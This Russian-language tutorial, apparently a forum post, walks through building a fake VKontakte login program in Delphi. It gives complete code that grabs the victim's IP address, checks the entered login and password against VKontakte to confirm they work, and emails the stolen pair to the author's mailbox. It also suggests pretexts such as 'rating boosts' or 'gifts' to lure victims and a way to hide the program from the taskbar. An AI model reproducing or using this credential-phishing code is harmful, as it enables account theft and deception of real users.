Сейчас мы будем делать фейк ВКонтакте(для примера) на делфи.
Что он будет уметь:
1.Отправка логина и пароля на почту
2.Отправка IP
3.Проверка на валидность
Ну что же приступим!
Прежде всего создайте новый проэкт,далее в Object inspector в свойстве borderStyle "формы" поставьте значение bsDialog (нужно для того чтобы у формы не было кнопок "Свернуть и увеличить", а только крестик. Дальше можете обустроить форму под стиль Контакта,например так:
Так теперь приступим к основным действиям!
Кидаем на форму:
2 edit
button
idhttp(вкладка indy clients)
idSMTP(вкладка indy clients)
idMessage(вкладка indy Misc)
idAntyFreeze(вкладка indy Misc)
Остальное добавляйте для внешнего вида!
Нажмите на idSMTP и в параметре AuthenticationType поставьте свойство "atLogin" ,также нажмине на idHTTP и в параметре HandleRedirects поставьте значение "True"
Приступим к кодингу!
2 раза нажмите на кнопку,поставьте переменную data,s,e:string;
и между begin и end; напишите следущий код:
Code
s:=IdHTTP1.Get('http://2ip.ru'); //Посылаем запрос на 2ip.ru
e:=Copy(s, pos('<big>', s) + 5, pos('</big>', s) - pos('<big>', s) -5); //Парсим IP
data:=idhttp1.Get('http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.Text);
if pos('<title>В Контакте | Вход</title>',data) > 0 then begin
ShowMessage('Пароль введен неправильно,повторите попытку');
end else begin
idSmtp1.Host:='smtp.mail.ru'; //Хост mail.ru(измените на свой)
idSmtp1.Port:=25;
idSmtp1.Username:='E-mail с которого отправлять'; //Ваш E-mail
idSmtp1.Password:='Пароль от этого E-mail'; //Пароль
idMessage1.Body.Text:='ip:'+e+#10#13+edit1.Text+';'+edit2.Text; //Текст письма
idMessage1.From.Text:='Еще раз E-mail с которого отсылать';
idMessage1.Recipients.EMailAddresses:='E-mail на который отправлять данные'; //Кому отправлять данные
idMessage1.Subject:='VKfake'; //Тема письма
idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
end;
Должно получится так:
Code
procedure TForm1.Button1Click(Sender: TObject);
var data,s,e:string;
begin
s:=IdHTTP1.Get('http://2ip.ru'); //Посылаем запрос на 2ip.ru
e:=Copy(s, pos('<big>', s) + 5, pos('</big>', s) - pos('<big>', s) -5); //Парсим IP
data:=idhttp1.Get('http://vkontakte.ru/login.php?email='+edit1.text+'&pass='+edit2.Text);
if pos('<title>В Контакте | Вход</title>',data) > 0 then begin
ShowMessage('Пароль введен неправильно,повторите попытку');
end else begin
idSmtp1.Host:='smtp.yandex.ru'; //Хост yandex.ru(измените на свой)
idSmtp1.Port:=25;
idSmtp1.Username:='E-mail с которого отправлять'; //Ваш E-mail
idSmtp1.Password:='Пароль от этого E-mail'; //Пароль
idMessage1.Body.Text:='ip:'+e+#10#13+edit1.Text+';'+edit2.Text; //Текст письма
idMessage1.From.Text:='Еще раз E-mail с которого отсылать';
idMessage1.Recipients.EMailAddresses:='E-mail на который отправлять данные'; //Кому отправлять данные
idMessage1.Subject:='VKfake'; //Тема письма
idSmtp1.Connect();
if idSmtp1.Connected=true then
idSmtp1.Send(idMessage1);
idSmtp1.Disconnect;
end;
Code
Советую использовать Яндекс Почту для мыла от которого идет отправка, а мыло на которое идут данные не важно, хоть mail, хоть яндекс, хоть Rambler!
Ну вобщем то все самое главное сделали) думаю с остальным разберетесь, имею ввиду: Внешний вид и как будет фейк "повышать рейтинг" в ковычках=))) или "отправлять подарки" тоже самое)))
Объясню только несколько пунктов:
Если засунуть в обработчик события edit1,то на кнопку нажать будет нельзя если в едит1 нет текста! (можете изменить компоненты)
Свойство Enabled отвечает за видимость компонентов! true задействован,false незадействован!
Скрываемся из панели задач.
